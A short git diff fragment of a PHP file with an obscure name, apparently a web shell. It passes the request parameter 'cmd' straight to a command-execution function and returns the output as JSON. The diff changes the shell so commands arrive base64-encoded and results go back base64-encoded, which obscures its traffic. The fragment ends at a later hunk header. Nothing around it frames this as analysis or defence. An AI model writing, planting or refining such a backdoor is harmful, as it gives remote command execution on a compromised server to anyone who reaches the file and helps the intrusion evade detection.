diff --git a/x3n4.php b/x3n4.php index 814c3b2..bd79015 100644 --- a/x3n4.php +++ b/x3n4.php @@ -126,8 +126,8 @@ function output_json($output = '') } } - $output = execute_command($_REQUEST['cmd'] . ' 2>&1'); - output_json($output); + $output = execute_command(base64_decode($_REQUEST['cmd']) . ' 2>&1'); + output_json(base64_encode($output)); } /** @@ -205,13 +205,21 @@ function output_json($output = '')